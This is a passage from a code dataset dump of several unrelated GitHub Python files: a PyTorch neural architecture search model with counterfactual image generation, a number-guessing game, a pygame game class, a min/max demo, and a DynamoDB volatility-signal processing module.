[score, j]\n alphas[path[min_skip[1]]][min_skip[1] - path[min_skip[1]]][0] = -float('inf')\n\n if len(pos2alpha_skips) > len(path) - min_len:\n pos2alpha_skips = sorted(pos2alpha_skips, key=lambda x: x[1], reverse=True)[:len(path) - min_len]\n pos_skips = [pos for pos, alpha in pos2alpha_skips]\n for i in range(len(path)):\n scale = path[i]\n if i < len(widths): width = widths[i]\n op = alphas[scale][i - scale].argmax()\n if op == 0:\n if i in pos_skips:\n # remove the last width if the last layer (skip_connect) is to be prunned\n if i == len(path) - 1: widths_compact = widths_compact[:-1]\n continue\n else:\n alphas[scale][i - scale][0] = -float('inf')\n op = alphas[scale][i - scale].argmax()\n path_compact.append(scale)\n if i < len(widths): widths_compact.append(width)\n ops.append(op)\n return ops, path_compact, widths_compact\n\n\ndef betas2path(betas, last, layers):\n\n downs = [0] * layers\n # betas1 is of length layers-2; beta2: layers-3; beta3: layers-4\n if last == 1:\n # print(betas[1].shape)\n if betas[1].shape[0] == 1:\n downs[0] = 1\n else:\n down_idx = np.argmax([beta[0] for beta in betas[1][1:-1].cpu().numpy()]) + 1\n downs[down_idx] = 1\n elif last == 2:\n if betas[2].shape[0] <= 1:\n downs[0] = 1\n downs[1] = 1\n else:\n max_prob = 0;\n max_ij = (0, 1)\n for j in range(layers - 4):\n for i in range(1, j - 1):\n prob = betas[1][i][0] * betas[2][j][0]\n if prob > max_prob:\n max_ij = (i, j)\n max_prob = prob\n downs[max_ij[0] + 1] = 1;\n downs[max_ij[1] + 2] = 1\n path = downs2path(downs)\n # print(path)\n assert path[-1] == last\n return path\n\n\ndef path2widths(path, ratios, width_mult_list):\n widths = []\n for layer in range(1, len(path)):\n scale = path[layer]\n if scale == 0:\n widths.append(width_mult_list[ratios[scale][layer - 1].argmax()])\n else:\n widths.append(width_mult_list[ratios[scale][layer - scale].argmax()])\n return widths\n\n\ndef network_metas(alphas, betas, ratios, width_mult_list, layers, last):\n betas[1] = F.softmax(betas[1], dim=-1)\n betas[2] = F.softmax(betas[2], dim=-1)\n path = betas2path(betas, last, layers)\n widths = path2widths(path, ratios, width_mult_list)\n ops, path, widths = alphas2ops_path_width(alphas, path, widths)\n assert len(ops) == len(path) and len(path) == len(widths) + 1, \"op %d, path %d, width%d\" % (\n len(ops), len(path), len(widths))\n downs = path2downs(path) # 0 same 1 down\n return ops, path, downs, widths\n\n\nclass MixedOp(nn.Module):\n def __init__(self, C_in, C_out, op_idx, stride=1):\n super(MixedOp, self).__init__()\n self._op = OPS[PRIMITIVES[op_idx]](C_in, C_out, stride, slimmable=False, width_mult_list=[1.])\n\n def forward(self, x):\n return self._op(x)\n\n def forward_latency(self, size):\n # int: force #channel; tensor: arch_ratio; float(<=1): force width\n latency, size_out = self._op.forward_latency(size)\n return latency, size_out\n\n\nclass Cell(nn.Module):\n def __init__(self, op_idx, C_in, C_out, down, latent_dim=None, flat_dim=None):\n super(Cell, self).__init__()\n self._C_in = C_in\n self._C_out = C_out\n self._down = down\n self.latent_dim = latent_dim\n self.flat_dim = flat_dim\n\n if self._down:\n self._op = MixedOp(C_in, C_out, op_idx, stride=2)\n else:\n self._op = MixedOp(C_in, C_out, op_idx)\n\n # self.mean_layer = nn.Sequential(\n # nn.Linear(self.flat_dim * self.flat_dim * self._C_out, self.latent_dim)\n # )\n # self.var_layer = nn.Sequential(\n # nn.Linear(self.flat_dim * self.flat_dim * self._C_out, self.latent_dim)\n # )\n\n def forward(self, input):\n out = self._op(input)\n # out_flat = out.view(-1, self._C_out * self.flat_dim * self.flat_dim)\n # mu, var = self.mean_layer(out_flat), self.var_layer(out_flat)\n # var = F.softplus(var) + 1e-8\n return out\n\n def forward_latency(self, size):\n # ratios: (in, out, down)\n out = self._op.forward_latency(size)\n return out\n\n\nclass Network_Multi_Path_Infer(nn.Module):\n def __init__(self, alphas, betas, ratios, num_classes=6, in_channel=3, layers=6,\n criterion=nn.CrossEntropyLoss(ignore_index=-1),\n Fch=16, width_mult_list=[1., ], stem_head_width=(1., 1.), latent_dim32=32*1,\n temperature=1, z_dim=10, img_size=64, down_scale_last=4,\n skip_connect=1, wcontras=1):\n super(Network_Multi_Path_Infer, self).__init__()\n self._num_classes = num_classes\n assert layers >= 2\n self._layers = layers\n self._criterion = criterion\n self._Fch = Fch\n self.in_channel = in_channel\n self.latent_dim32 = latent_dim32\n self.temperature = temperature\n self.z_dim = z_dim\n self.img_size = img_size\n self.down_scale_last = down_scale_last\n self.last_size = self.img_size // (2 ** self.down_scale_last)\n self.wcontras = wcontras\n\n self.skip_connect = skip_connect\n\n if ratios[0].size(1) == 1:\n self._width_mult_list = [1., ]\n else:\n self._width_mult_list = width_mult_list\n self._stem_head_width = stem_head_width\n self.latency = 0\n\n self.down1 = ConvNorm(self.in_channel, self.num_filters(4, 1), kernel_size=1, stride=1, padding=0, bias=False,\n groups=1, slimmable=False)\n self.down2 = BasicResidual2x(self.num_filters(4, 1), self.num_filters(8, 1), kernel_size=3, stride=2, groups=1,\n slimmable=False)\n self.down4 = BasicResidual2x(self.num_filters(8, 1), self.num_filters(16, 1), kernel_size=3, stride=2, groups=1,\n slimmable=False)\n\n self.ops0, self.path0, self.downs0, self.widths0 = network_metas(alphas, betas, ratios, self._width_mult_list,\n layers, 0)\n self.ops1, self.path1, self.downs1, self.widths1 = network_metas(alphas, betas, ratios, self._width_mult_list,\n layers, 1)\n self.ops2, self.path2, self.downs2, self.widths2 = network_metas(alphas, betas, ratios, self._width_mult_list,\n layers, 2)\n\n def num_filters(self, scale, width=1.0):\n return int(np.round(scale * self._Fch * width))\n\n def build_structure(self, lasts):\n self._branch = len(lasts)\n self.lasts = lasts\n self.ops = [getattr(self, \"ops%d\" % last) for last in lasts]\n self.paths = [getattr(self, \"path%d\" % last) for last in lasts]\n self.downs = [getattr(self, \"downs%d\" % last) for last in lasts]\n self.widths = [getattr(self, \"widths%d\" % last) for last in lasts]\n self.branch_groups, self.cells = self.get_branch_groups_cells(self.ops, self.paths, self.downs, self.widths,\n self.lasts)\n self.build_arm_ffm_head()\n\n def build_arm_ffm_head(self):\n\n\n self.dec32 = nn.Linear(self.latent_dim32 + self.z_dim, 1024 * self.last_size * self.last_size)\n if self.skip_connect == 0:\n self.up32 = TCONV(1024, 512, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up16 = TCONV(512, 256, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up8 = TCONV(256, 128, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up4 = TCONV(128, 64, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up2 = TCONV(64, 32, t_kernel=1, t_stride=1, t_padding=0, outpadding=0)\n self.refine1 = FCONV(32, self.in_channel, t_kernel=1, t_stride=1, t_padding=0)\n else:\n self.up32 = TCONV(2048, 512, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up16 = TCONV(1024, 256, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up8 = TCONV(512, 128, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n if self.skip_connect == 1:\n self.up4 = TCONV(256, 64, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up2 = TCONV(128, 32, t_kernel=1, t_stride=1, t_padding=0, outpadding=0)\n self.refine1 = FCONV(32, self.in_channel, t_kernel=1, t_stride=1, t_padding=0)\n else:\n self.up4 = TCONV(128, 64, t_kernel=3, t_stride=2, t_padding=1, outpadding=1)\n self.up2 = TCONV(64, 32, t_kernel=1, t_stride=1, t_padding=0, outpadding=0)\n self.refine1 = FCONV(32, self.in_channel, t_kernel=1, t_stride=1, t_padding=0)\n\n self.classifier = nn.Linear(self.latent_dim32, self._num_classes)\n\n self.one_hot32 = nn.Linear(self._num_classes, self.latent_dim32)\n\n self.mean_layer32 = nn.Sequential(\n nn.Linear(int(1024 * self.last_size * self.last_size), self.latent_dim32 + self.z_dim)\n )\n self.var_layer32 = nn.Sequential(\n nn.Linear(int(1024 * self.last_size * self.last_size), self.latent_dim32 + self.z_dim)\n )\n\n\n def get_branch_groups_cells(self, ops, paths, downs, widths, lasts):\n num_branch = len(ops)\n layers = max([len(path) for path in paths])\n groups_all = []\n self.ch_16 = 0;\n self.ch_8_2 = 0;\n self.ch_8_1 = 0\n cells = nn.ModuleDict() # layer-branch: op\n branch_connections = np.ones(\n (num_branch, num_branch)) # maintain connections of heads of branches of different scales\n # all but the last layer\n # we determine branch-merging by comparing their next layer: if next-layer differs, then the \"down\" of current layer must differ\n for l in range(layers):\n connections = np.ones((num_branch, num_branch)) # if branch i/j share same scale & op in this layer\n for i in range(num_branch):\n for j in range(i + 1, num_branch):\n # we also add constraint on ops[i][l] != ops[j][l] since some skip-connect may already be shrinked/compacted => layers of branches may no longer aligned in terms of alphas\n # last layer won't merge\n if len(paths[i]) <= l + 1 or len(paths[j]) <= l + 1 or paths[i][l + 1] != paths[j][l + 1] or ops[i][\n l] != ops[j][l] or widths[i][l] != widths[j][l]:\n connections[i, j] = connections[j, i] = 0\n branch_connections *= connections\n branch_groups = []\n # build branch_group for processing\n for branch in range(num_branch):\n # also accept if this is the last layer of branch (len(paths[branch]) == l+1)\n if len(paths[branch]) < l + 1: continue\n inserted = False\n for group in branch_groups:\n if branch_connections[group[0], branch] == 1:\n group.append(branch)\n inserted = True\n continue\n if not inserted:\n branch_groups.append([branch])\n for group in branch_groups:\n # branch in the same group must share the same op/scale/down/width\n if len(group) >= 2: assert ops[group[0]][l] == ops[group[1]][l] and paths[group[0]][l + 1] == \\\n paths[group[1]][l + 1] and downs[group[0]][l] == downs[group[1]][l] and \\\n widths[group[0]][l] == widths[group[1]][l]\n if len(group) == 3: assert ops[group[1]][l] == ops[group[2]][l] and paths[group[1]][l + 1] == \\\n paths[group[2]][l + 1] and downs[group[1]][l] == downs[group[2]][l] and \\\n widths[group[1]][l] == widths[group[2]][l]\n op = ops[group[0]][l]\n scale = 2 ** (paths[group[0]][l] + 3) *2\n down = downs[group[0]][l]\n if l < len(paths[group[0]]) - 1: assert down == paths[group[0]][l + 1] - paths[group[0]][l]\n assert down in [0, 1]\n if l == 0:\n cell = Cell(op, self.num_filters(scale, self._stem_head_width[0]),\n self.num_filters(scale * (down + 1), widths[group[0]][l]), down)\n elif l == len(paths[group[0]]) - 1:\n # last cell for this branch\n assert down == 0\n cell = Cell(op, self.num_filters(scale, widths[group[0]][l - 1]),\n self.num_filters(scale, self._stem_head_width[1]), down)\n else:\n cell = Cell(op, self.num_filters(scale, widths[group[0]][l - 1]),\n self.num_filters(scale * (down + 1), widths[group[0]][l]), down)\n # For Feature Fusion: keep record of dynamic #channel of last 1/16 and 1/8 of \"1/32 branch\"; last 1/8 of \"1/16 branch\"\n if 2 in self.lasts and self.lasts.index(2) in group and down and scale == 16: self.ch_16 = cell._C_in\n if 2 in self.lasts and self.lasts.index(2) in group and down and scale == 8: self.ch_8_2 = cell._C_in\n if 1 in self.lasts and self.lasts.index(1) in group and down and scale == 8: self.ch_8_1 = cell._C_in\n for branch in group:\n cells[str(l) + \"-\" + str(branch)] = cell\n groups_all.append(branch_groups)\n return groups_all, cells\n\n def agg_ffm(self, outputs):\n global check_vec\n outputs32 = outputs[4]\n outputs16 = outputs[3]\n outputs8 = outputs[2]\n outputs4 = outputs[1]\n outputs2 = outputs[0]\n latent_mu = self.mean_layer32(outputs32.view(-1, 1024 * self.last_size * self.last_size))\n latent_var = self.var_layer32(outputs32.view(-1, 1024 * self.last_size * self.last_size))\n latent_var = F.softplus(latent_var) + 1e-8\n\n\n z_mu, y_mu = torch.split(latent_mu, [self.z_dim, self.latent_dim32], dim=1)\n z_var, y_var = torch.split(latent_var, [self.z_dim, self.latent_dim32], dim=1)\n # z_var = F.softplus(z_var) + 1e-8\n # y_var = F.softplus(y_var) + 1e-8\n\n y_latent = sample_gaussian(y_mu, y_var)\n latent = sample_gaussian(latent_mu, latent_var)\n predict = F.log_softmax(self.classifier(y_latent), dim=1)\n predict_test = F.log_softmax(self.classifier(y_mu), dim=1)\n\n decoded = self.dec32(latent_mu)\n decoded = decoded.view(-1, 1024, self.last_size, self.last_size)\n\n\n if self.skip_connect == 0:\n out32 = outputs32\n out16 = self.up32.decode(out32)\n out8 = self.up16.decode(out16)\n out4 = self.up8.decode(out8)\n out2 = self.up4.decode(out4)\n else:\n out32 = torch.cat((decoded, outputs32), dim=1)\n out16 = torch.cat((self.up32.decode(out32), outputs16), dim=1)\n out8 = torch.cat((self.up16.decode(out16), outputs8), dim=1)\n if self.skip_connect == 1:\n out4 = torch.cat((self.up8.decode(out8), outputs4), dim=1)\n out2 = torch.cat((self.up4.decode(out4), outputs2), dim=1)\n else:\n out4 = self.up8.decode(out8)\n out2 = self.up4.decode(out4)\n out1 = self.up2.decode(out2)\n reconstructed = self.refine1.final_decode(out1)\n\n # print(\"The latent vector is\")\n # print(torch.Tensor.cpu(reconstructed[0]).detach().numpy())\n check_vec = reconstructed[0]\n return latent, latent_mu, latent_var, \\\n predict, predict_test,\\\n reconstructed, outputs\n\n\n def forward(self, input):\n _, _, H, W = input.size()\n enc2 = self.down1(input)\n enc4 = self.down2(enc2)\n enc8 = self.down4(enc4)\n outputs = [enc8] * self._branch\n # print(enc8.shape)\n for layer in range(len(self.branch_groups)):\n for group in self.branch_groups[layer]:\n output = self.cells[str(layer) + \"-\" + str(group[0])](outputs[group[0]])\n scale = int(H // output.size(2))\n for branch in group:\n outputs[branch] = output\n if scale == 4:\n outputs8 = output\n elif scale == 8:\n outputs16 = output\n elif scale == 16:\n outputs32 = output\n # print(enc8)\n # print(outputs32)\n latent, latent_mu, latent_var, \\\n predict, predict_test, \\\n reconstructed, outputs = self.agg_ffm([enc2, enc4, outputs8, outputs16, outputs32])\n # print(\"The latent vector of the reconstructed image is\")\n # print(torch.Tensor.cpu(latent_mu[0][10:]).detach().numpy())\n # print(\"The reconstructed image is\")\n # print(torch.Tensor.cpu(reconstructed[0]).detach().numpy())\n return latent, latent_mu, latent_var, predict, predict_test, reconstructed, outputs\n\n def get_yh(self, y_de):\n yh = self.one_hot32(y_de)\n return yh\n\n def contrastive_loss(self, x, latent_mu, out, target, rec_x, img_index=None, save_folder=\"cf_img\"):\n \"\"\"\n z : batchsize * 10\n \"\"\"\n bs = x.size(0)\n ### get current yh for each class\n target_en = torch.eye(self._num_classes)\n class_yh = self.get_yh(target_en.cuda()) # 6*32\n\n yh_size = class_yh.size(1)\n yh = torch.zeros(bs, yh_size).cuda()\n y_all = torch.zeros(bs, self._num_classes, yh_size).cuda()\n for i in range(bs):\n y_all[i] = class_yh\n # print(target[i])\n # if target[i] < self._num_classes:\n yh[i] = class_yh[target[i]]\n\n rec_x_all = self.generate_cf(x, latent_mu, out, y_all)\n\n x_expand = x.unsqueeze(1).repeat_interleave(self._num_classes, dim=1)\n neg_dist = -((x_expand - rec_x_all) ** 2).mean((2, 3, 4)) * self.temperature # N*(K+1)\n neg_dist[:, target] = neg_dist[:, target] - 0.005 * self.temperature\n contrastive_loss_euclidean = nn.CrossEntropyLoss()(neg_dist, target)\n\n if img_index != None:\n if img_index < 10:\n for i in range(rec_x_all.shape[1]):\n neg = torch.Tensor.cpu(y_all[0]).detach().numpy()\n c_yh = torch.Tensor.cpu(class_yh).detach().numpy()\n dist = torch.Tensor.cpu(neg_dist).detach().numpy()\n with open('cf_img/train_yh.txt', 'ab') as f:\n np.savetxt(f, c_yh[:, 0], fmt='%f', delimiter=' ', newline='\\r')\n f.write(b'\\n')\n np.savetxt(f, neg[:, 0], fmt='%f', delimiter=' ', newline='\\r')\n f.write(b'\\n')\n with open('cf_img/train_cf_re_diff.txt', 'ab') as f:\n # np.savetxt(f, c_yh, fmt='%f', delimiter=' ', newline='\\r')\n np.savetxt(f, dist, fmt='%f', delimiter=' ', newline='\\r')\n f.write(b'\\n')\n\n temp = rec_x_all[0][i]\n temp = torch.Tensor.cpu(temp).detach().numpy()\n temp = temp.transpose(1, 2, 0)\n temp = temp * (0.2023, 0.1994, 0.2010) + (0.4914, 0.4822, 0.4465)\n # temp = temp * 0.3081 + 0.1307\n # temp = np.reshape(temp, (32, 32))\n temp = temp * 255\n temp = temp.astype(np.uint8)\n img = Image.fromarray(temp)\n img.save(os.path.join(save_folder, \"{}_{}.jpeg\".format(img_index, range(self._num_classes)[i])))\n # print(yh)\n return contrastive_loss_euclidean, yh\n\n def generate_cf(self, x, latent_mu, out, mean_y, img_index=None, save_folder=\"cf_img\"):\n \"\"\"\n :param x:\n :param mean_y: list, the class-wise feature y\n \"\"\"\n global check_vec\n if mean_y.dim() == 2:\n class_num = mean_y.size(0)\n elif mean_y.dim() == 3:\n class_num = mean_y.size(1)\n bs = latent_mu.size(0)\n\n z_latent_mu, y_latent_mu = torch.split(latent_mu, [self.z_dim, self.latent_dim32], dim=1)\n\n z_latent_mu = z_latent_mu.unsqueeze(1).repeat_interleave(class_num, dim=1)\n if mean_y.dim() == 2:\n y_mu = mean_y.unsqueeze(0).repeat_interleave(bs, dim=0)\n elif mean_y.dim() == 3:\n y_mu = mean_y\n latent_zy = torch.cat([z_latent_mu, y_mu], dim=2).view(bs*class_num, latent_mu.size(1))\n # for i in range(6):\n # print(\"The vector of the {} image is\".format(i))\n # print(torch.Tensor.cpu(latent_zy[i][10:]).detach().numpy())\n\n decoded = self.dec32(latent_zy)\n decoded = decoded.view(-1, 1024, self.last_size, self.last_size)\n if self.skip_connect == 0:\n out32 = decoded\n out16 = self.up32.decode(out32)\n out8 = self.up16.decode(out16)\n out4 = self.up8.decode(out8)\n out2 = self.up4.decode(out4)\n else:\n out32 = torch.cat((decoded, out[4].repeat_interleave(class_num, dim=0)), dim=1)\n out16 = torch.cat((self.up32.decode(out32), out[3].repeat_interleave(class_num, dim=0)), dim=1)\n out8 = torch.cat((self.up16.decode(out16), out[2].repeat_interleave(class_num, dim=0)), dim=1)\n if self.skip_connect == 1:\n out4 = torch.cat((self.up8.decode(out8), out[1].repeat_interleave(class_num, dim=0)), dim=1)\n out2 = torch.cat((self.up4.decode(out4), out[0].repeat_interleave(class_num, dim=0)), dim=1)\n else:\n out4 = self.up8.decode(out8)\n out2 = self.up4.decode(out4)\n out1 = self.up2.decode(out2)\n x_re = self.refine1.final_decode(out1)\n # for i in range(6):\n # # print(\"The {} image is\".format(i))\n # # print(torch.Tensor.cpu(x_re[i]).detach().numpy())\n # print(\"The latent vector of {} image is\".format(i))\n # print(torch.Tensor.cpu(x_re[i]).detach().numpy())\n # for i in range(6):\n # diff = torch.mean((check_vec-x_re[i]).pow(2))\n # print(\"The difference between {} image is\".format(i))\n # print(torch.Tensor.cpu(diff).detach().numpy())\n rec_x_all = x_re.view(bs, class_num, *x.size()[1:])\n if img_index != None:\n if img_index < 50:\n for i in range(rec_x_all.shape[1]):\n temp = rec_x_all[0][i]\n temp = torch.Tensor.cpu(temp).detach().numpy()\n temp = temp.transpose(1, 2, 0)\n temp = temp * (0.2023, 0.1994, 0.2010) + (0.4914, 0.4822, 0.4465)\n # temp = temp * 0.3081 + 0.1307\n # temp = np.reshape(temp, (32, 32))\n temp = temp * 255\n temp = temp.astype(np.uint8)\n img = Image.fromarray(temp)\n img.save(os.path.join(save_folder, \"{}_{}.jpeg\".format(img_index, range(self._num_classes)[i])))\n return rec_x_all\n\n def rec_loss_cf(self, feature_y_mean, val_loader, test_loader, args):\n rec_loss_cf_all = []\n class_num = feature_y_mean.size(0)\n if len(val_loader) != 0:\n for data_test, target_test in val_loader:\n if args.cuda:\n data_test, target_test = data_test.cuda(), target_test.cuda()\n with torch.no_grad():\n data_test, target_test = Variable(data_test), Variable(target_test)\n\n _, latent_mu, _, _, _, _, outputs = self.forward(data_test)\n\n re_test = self.generate_cf(data_test, latent_mu, outputs, feature_y_mean)\n data_test_cf = data_test.unsqueeze(1).repeat_interleave(class_num, dim=1)\n rec_loss = (re_test - data_test_cf).pow(2).sum((2, 3, 4))\n rec_loss_cf = rec_loss.min(1)[0]\n rec_loss_cf_all.append(rec_loss_cf)\n\n args.img_index = 0\n for data_test, target_test in test_loader:\n\n if args.cuda:\n data_test, target_test = data_test.cuda(), target_test.cuda()\n with torch.no_grad():\n data_test, target_test = Variable(data_test), Variable(target_test)\n\n _, latent_mu, _, _, _, reconstructed, outputs = self.forward(data_test)\n\n re_test = self.generate_cf(data_test, latent_mu, outputs, feature_y_mean, args.img_index, \"unknown_cf\")\n data_test_cf = data_test.unsqueeze(1).repeat_interleave(class_num, dim=1)\n rec_loss = (re_test - data_test_cf).pow(2).sum((2, 3, 4))\n rec_loss_cf = rec_loss.min(1)[0]\n rec_loss_cf_all.append(rec_loss_cf)\n\n # if args.img_index < 50:\n # re = torch.Tensor.cpu(reconstructed[0]).detach().numpy()\n # ori = torch.Tensor.cpu(data_test[0]).detach().numpy()\n # temp = re\n # temp = temp.transpose(1, 2, 0)\n # temp = temp * (0.2023, 0.1994, 0.2010) + (0.4914, 0.4822, 0.4465)\n # # temp = temp * 0.3081 + 0.1307\n # temp = temp * 255\n # temp = temp.astype(np.uint8)\n # img = Image.fromarray(temp)\n # img.save(os.path.join(\"unknown_cf\", \"{}_re.jpeg\".format(args.img_index)))\n #\n # ori = ori\n # ori = ori.transpose(1, 2, 0)\n # ori = ori * (0.2023, 0.1994, 0.2010) + (0.4914, 0.4822, 0.4465)\n # # ori = ori * 0.3081 + 0.1307\n # ori = ori * 255\n # ori = ori.astype(np.uint8)\n # ori = Image.fromarray(ori)\n # ori.save(os.path.join(\"unknown_cf\", \"{}_ori.jpeg\".format(args.img_index)))\n # args.img_index += 1\n rec_loss_cf_all = torch.cat(rec_loss_cf_all, 0)\n return rec_loss_cf_all\n\n def rec_loss_cf_train(self, feature_y_mean, train_loader, args):\n rec_loss_cf_all = []\n class_num = feature_y_mean.size(0)\n for data_train, target_train in train_loader:\n if args.cuda:\n data_train, target_train = data_train.cuda(), target_train.cuda()\n with torch.no_grad():\n data_train, target_train = Variable(data_train), Variable(target_train)\n\n _, latent_mu, _, _, _, _, outputs = self.forward(data_train)\n\n re_train = self.generate_cf(data_train, latent_mu, outputs, feature_y_mean)\n data_train_cf = data_train.unsqueeze(1).repeat_interleave(class_num, dim=1)\n rec_loss = (re_train - data_train_cf).pow(2).sum((2, 3, 4))\n rec_loss_cf = rec_loss.min(1)[0]\n rec_loss_cf_all.append(rec_loss_cf)\n\n rec_loss_cf_all = torch.cat(rec_loss_cf_all, 0)\n return rec_loss_cf_all\n\n","repo_name":"zxl101/NAS_OSR","sub_path":"train/model_seg.py","file_name":"model_seg.py","file_ext":"py","file_size_in_byte":31925,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"13594537667","text":"from random import randint\nfrom time import sleep\nprint(\"~~\" * 20)\nprint('JOGO DA ADVINHAÇÃO')\nprint(\"~~\" * 20)\npc = randint(1, 10)\nprint('''Olá sou o computador...\nAcabei de pensar em um número de 1 a 10\nSerá que você é capaz de advinhar ?''')\ntentar = 0\npal = 0\nwhile pal != pc:\n pal = int(input('Digite o seu palpite: '))\n tentar += 1\n if pal < pc:\n print('Mais... Tente outra vez!')\n elif pal > pc:\n print('Menos... Tente outra vez!')\nprint(f'Você conseguiu em {tentar} tentativas parabéns!')\nsleep(2)\nprint(\"=-\" * 20)\nprint('''RANKING DE TENTATIVAS\n\n1 tentativa = Prof. Xavier\n2 tentativas = Profisional\n3 a 4 tentativas = Bom\n5 a 7 tentativas = Normal \nAcima de 7 tentativas = Noob''')","repo_name":"Xaixen/Python3","sub_path":"Exercícios 1/jogo da advinhação.py","file_name":"jogo da advinhação.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"15535727852","text":"import pygame\r\n# Creer classe qui represente notre jeu\r\nfrom Player import Player\r\nfrom Monster import Monster\r\nfrom comet_event import CometFallEvent\r\n\r\nclass Game:\r\n\r\n def __init__(self):\r\n self.is_playing = False\r\n # Génération de notre joueur\r\n self.all_player = pygame.sprite.Group()\r\n self.player = Player(self)\r\n self.all_player.add(self.player)\r\n # Générer l'vènement\r\n self.comet_event = CometFallEvent(self)\r\n # groupe de monstres\r\n self.all_monster = pygame.sprite.Group()\r\n self.pressed = {}\r\n\r\n def start(self):\r\n self.is_playing = True\r\n self.spawn_monster()\r\n self.spawn_monster()\r\n\r\n def game_over(self):\r\n # Remettre le jeu a zéro.\r\n self.all_monster = pygame.sprite.Group()\r\n self.comet_event.all_comets = pygame.sprite.Group()\r\n self.player.health = self.player.max_health\r\n self.comet_event.reset_percent()\r\n self.is_playing = False\r\n\r\n def update(self, screen):\r\n # Appliquer l'image du joueur\r\n screen.blit(self.player.image, self.player.rect)\r\n self.player.update_health_bar(screen)\r\n\r\n # actualiser la barre d'évènement du jeu\r\n self.comet_event.update_bar(screen)\r\n\r\n # actualiser l'animation du joueur\r\n self.player.update_animation()\r\n\r\n # Recupereer les projectile du joueur\r\n for projectile in self.player.all_projectiles:\r\n projectile.move()\r\n\r\n # Recuperer les projectile du joueur\r\n for monster in self.all_monster:\r\n monster.forward()\r\n monster.update_health_bar(screen)\r\n monster.update_animation()\r\n\r\n # Recuperer les cometes du joueur\r\n for comet in self.comet_event.all_comets:\r\n comet.fall()\r\n\r\n # Applique l'image du projectile\r\n self.player.all_projectiles.draw(screen)\r\n\r\n # Appliquer l'ensemble des images de monstre\r\n self.all_monster.draw(screen)\r\n\r\n # Appliquer l'ensemble des image du goupe comete\r\n self.comet_event.all_comets.draw(screen)\r\n\r\n # Verifier si le joueur souhaite aller a gauche ou a droite\r\n if self.pressed.get(pygame.K_RIGHT) and self.player.rect.x + self.player.rect.width < screen.get_width():\r\n self.player.move_right()\r\n elif self.pressed.get(pygame.K_LEFT) and self.player.rect.x >= 0:\r\n self.player.move_left()\r\n\r\n def check_collision(self, sprinte, group):\r\n return pygame.sprite.spritecollide(sprinte, group, False, pygame.sprite.collide_mask)\r\n\r\n def spawn_monster(self):\r\n monster = Monster(self)\r\n self.all_monster.add(monster)\r\n","repo_name":"PascalCmoa/mummy_game","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":2714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"23669195649","text":"def findMaxOfArray(array): \n maxnumber = array[0]\n for j in array: \n if j > maxnumber:\n maxnumber = j\n\n return maxnumber\n\n\n\ndef findMinOfArray(array): \n #TodDocl\n minnumber = array[0]\n for j in array: \n if minnumber > j: \n minnumber = j\n\n return minnumber\nprint(findMaxOfArray([1,2,10,4,6]))\n\nprint(findMinOfArray([1,2,10,4,6]))\n","repo_name":"norumn/Githubdemo","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"9267879837","text":"\n\nfrom src.library.dynamo.Client import Client\nfrom src.library.dynamo.Table import Table\n\nfrom src.library.osmv.Osmv import Osmv\nfrom src.library.params import param\nfrom src.library.params import rviv as param_rviv\nfrom src.library.signals.calc import calc_signals\nfrom src.library.signals.calc import select_signals\nfrom src.library.signals.rviv import query_rviv\n\nosmv = Osmv(param.IS_LOCAL, param.BUCKET_NAME)\n(dbr, dbc, s3r, s3c, bucket, db_dict) = osmv.select_env(param.ENV_USED)\n\n\ndata_table = Table(dbr.Table(db_dict[\"data_table\"]))\nvols_table = Table(dbr.Table(db_dict[\"vols_table\"]))\nrv_table = Table(dbr.Table(db_dict[\"rv_table\"]))\niv_table = Table(dbr.Table(db_dict[\"iv_table\"]))\n\ndef process_signal_ticker(ticker, ref_ticker, maturity_suffix):\n\n table_name = \"signals\"+\"_\"+ref_ticker+\"_\"+maturity_suffix\n\n DB = Client(dbc)\n list_tables = DB.list_tables()\n\n # create table\n\n if table_name not in list_tables:\n DB.create_table(table_name, \"ticker\", \"S\", True, \"trade_date\", \"S\")\n DB.add_index(table_name, \"reverse\", \"trade_date\", \"S\", \"ticker\", \"S\")\n\n signal_table = Table(dbr.Table(table_name))\n\n #batch calc_signals\n\n selected_signals = select_signals(maturity_suffix, param_rviv.pct_prefix_list, param_rviv.median_prefix_list, param_rviv.proba_1_prefix_list)\n\n ref_data = query_rviv(ref_ticker)\n df = calc_signals(ticker, ref_data, selected_signals)\n\n signal_table.put_df_batch(df)\n\n return df\n\ndef process_signal_all(ref_ticker, maturity_suffix):\n\n table_name = \"signals\"+\"_\"+ref_ticker+\"_\"+maturity_suffix\n\n DB = Client(dbc)\n list_tables = DB.list_tables()\n\n # create table\n\n if table_name not in list_tables:\n DB.create_table(table_name, \"ticker\", \"S\", True, \"trade_date\", \"S\")\n DB.add_index(table_name, \"reverse\", \"trade_date\", \"S\", \"ticker\", \"S\")\n\n signal_table = Table(dbr.Table(table_name))\n\n #batch calc_signals\n\n selected_signals = select_signals(maturity_suffix, param_rviv.pct_prefix_list, param_rviv.median_prefix_list, param_rviv.proba_1_prefix_list)\n\n ref_data = query_rviv(ref_ticker)\n\n te_table = Table(dbr.Table(db_dict[\"vols_table\"]))\n tickers = list(set([item[\"ticker\"] for item in te_table.scan()]))\n\n for t in tickers:\n df = calc_signals(t, ref_data, selected_signals)\n #write them\n signal_table.put_df_batch(df)\n","repo_name":"BullManZ/kaziz17-osmv-Asie","sub_path":"src/library/signals/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"14490474450","text":"from tornado.web import url\n\nfrom app.handlers import SearchResultsDataHandler, CityOptionsHandler,\\\n SearchRequestHandler, 